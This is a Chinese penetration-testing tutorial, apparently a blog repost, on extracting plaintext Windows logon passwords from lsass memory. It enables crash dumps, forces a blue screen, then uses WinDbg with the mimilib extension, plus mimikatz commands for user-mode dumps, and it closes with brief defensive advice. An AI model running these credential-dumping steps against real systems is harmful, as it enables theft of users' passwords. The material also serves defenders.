渗透技巧——使用 Mimilib 从 dump 文件中导出口令

发布于 2024-11-21 05:54:23 字数 7643 浏览 0 评论 0

0x00 前言

在上篇文章 《Mimilib 利用分析》 提到 mimilib 可作为 WinDbg 的插件进行使用,所以本文将会详细介绍这个插件的用法,实现从内核模式转储文件中导出口令,结合利用思路给出防御建议

0x01 简介

本文将要介绍以下内容:

  • dump 文件的分类
  • 两种 dump 文件的导出方法
  • WinDbg 环境配置
  • 利用思路
  • 防御建议

0x02 dump 文件的分类

dump 文件分为以下两类:

1.User-Mode Dump File

即用户模式转储文件,分为以下两种:

  • Full User-Mode Dumps
  • Minidumps

简单理解:通常是针对单个进程

更多参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files

创建方法:

可以使用 Procdump 进行创建

从用户模式转储文件导出口令的方法:

可参考之前的文章 《渗透基础-从 lsass.exe 进程导出凭据》

2.Kernel-Mode Dump Files

即内核模式转储文件,分为以下五种:

  • Complete Memory Dump
  • Kernel Memory Dump
  • Small Memory Dump
  • Automatic Memory Dump
  • Active Memory Dump

简单理解:包括所有进程的信息

创建方法:

启动创建转储文件的功能,在系统崩溃(BSOD) 时将自动创建

更多参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/kernel-mode-dump-files

0x03 从内核模式转储文件导出口令的方法

流程如下:

1.开启转储文件的功能 2.强制系统蓝屏(BSOD),系统将会自动创建内核模式转储文件 3.使用 WinDbg 加载转储文件,调用 mimilib 导出明文口令

具体需要注意以下问题:

1.开启转储文件的功能

对应注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl ,注册表项 CrashDumpEnabled ,类型为 REG_DWORD

数值对应的功能如下:

  • 0 表示不启用
  • 1 表示完全内存转储
  • 2 表示核心内存转储
  • 3 表示内存转储

查看这个注册表对应的 cmd 命令如下:

reg query hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled

这里需要将键值设置为 1 ,开启完全内存转储的功能,否则使用 WinDbg 访问进程 lsass.exe 的内存时会提示具有无效的页目录,如下图

Alt text

修改这个注册表对应的 cmd 命令如下:

reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f

2.强制系统蓝屏(BSOD)

(1) 通过结束属性为 critical process 的进程导致 BSOD

默认为 critical process 的系统进程如下:

  • csrss.exe
  • lsass.exe
  • services.exe
  • smss.exe
  • svchost.exe
  • wininit.exe

这里也可以先将指定进程设置为 critical process,结束该进程后也会导致 BSOD

具体细节可参考之前的文章 《结束进程导致 BSOD 的利用分析》

(2) 使用 NotMyFault

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault

触发蓝屏(BSOD) 的命令如下:

notmyfault.exe -accepteula /crash

注:NotMyFault 还支持将当前系统挂起,命令如下:

notmyfault.exe -accepteula /hang

默认配置下,系统蓝屏(BSOD) 后将会自动重启并生成文件 c:\windows\MEMORY.DMP

3.使用 WinDbg 加载 MEMORY.DMP

注:WinDbg 可以在安装 SDK 后自动安装

参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools

使用 WinDbg,选择打开 Crash Dump ,选择 MEMORY.DMP

获得 dump 文件详细信息的命令如下:

!analyze -v

报错提示: Kernel symbols are WRONG. Please fix symbols to do analysis.

如下图

Alt text

这里需要修复符号文件,可以选择以下三种解决方法:

(1) using the _NT_SYMBOL_PATH environment variable.

添加环境变量:

set _NT_SYMBOL_PATH=srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols

(2) using the -y argument when starting the debugger.

使用 WinDbg 以指定参数启动

windbg.exe -y SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

(3)using .sympath and .sympath+

添加 Symbol File Path

WinDbg 的命令行操作:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

也可以通过界面操作实现

File -> Symbol File Path ...

填入 SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

设置以后,需要的符号文件会自动从 Microsoft 公共符号服务器下载

重新加载:

.Reload

测试:

!process 0 0 lsass.exe

加载正常,如下图

Alt text

如果这部分仍然失败,可尝试使用 VPN 连接互联网

如果测试环境无法连接互联网,可以通过 SymChk 获取清单文件的方式下载符号文件

参考资料:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk

在无法连接互联网的计算机 A 上执行:

SymChk /om c:\Manifest\man.txt /id c:\test\MEMORY.DMP

获得文件 c:\Manifest\man.txt ,将其复制到可连接互联网的计算机 B 上,在计算机 B 上执行如下命令:

SymChk /im c:\test\man.txt /s srv*c:\mysymbolNew*https://msdl.microsoft.com/download/symbols

将会生成新的文件夹 c:\mysymbolNew ,将其复制到计算机 A 上,在计算机 A 上启动 WinDbg 并指定新的符号文件位置为 c:\mysymbolNew ,命令如下:

.symfix c:\mysymbolNew

测试:

.Reload
!process 0 0 lsass.exe

加载正常,如下图

Alt text

4.加载 mimilib 插件

可参考之前的文章 《Mimilib 利用分析》

(1) 方法 1

将 mimilib.dll 保存至 WinDbg 的 winext 目录

我的测试环境(Server2012R2x64) 保存的路径为: C:\Program Files\Debugging Tools for Windows (x64)\winext

启动 WinDbg

加载插件的命令如下:

.load mimilib

(2) 方法 2

直接加载 mimilib 的绝对路径,实例如下:

.load c:\test\mimilib

综上,搭建配置环境导出口令的完整命令如下:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
.process 890f4530
.load c:\test\mimilib
.reload
!mimikatz

完整流程如下图

Alt text

Alt text

将输出结果保存到文件中可使用以下命令:

.logopen c:\test\log.txt
!mimikatz
.logclose

0x04 利用思路

1.从用户模式转储文件导出口令

通过 API MiniDumpWriteDump() 获得进程 lsass.exe 的 dump 文件

使用 mimikatz 从 dump 文件中导出口令,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

2.从内核模式转储文件导出口令

开启转储文件的功能

强制系统蓝屏(BSOD)

使用 WinDbg 加载转储文件,调用 mimilib 导出明文口令

0x05 防御建议

1.从用户模式转储文件导出口令

拦截 API MiniDumpWriteDump() 的行为,部分安全产品已经支持这个功能

2.从内核模式转储文件导出口令

开启转储加密功能

参考资料:https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/about-dump-encryption

注:如果攻击者获得了系统的管理员权限,能够关闭转储加密的功能

0x06 小结

本文分别介绍了从用户模式转储文件和内核模式转储文件导出口令的方法,结合利用思路给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

乜一

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

有深☉意

文章 0 评论 0

硪扪都還晓

文章 0 评论 0

DS

文章 0 评论 0

我也只是我

文章 0 评论 0

TangBin

文章 0 评论 0

橪书

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文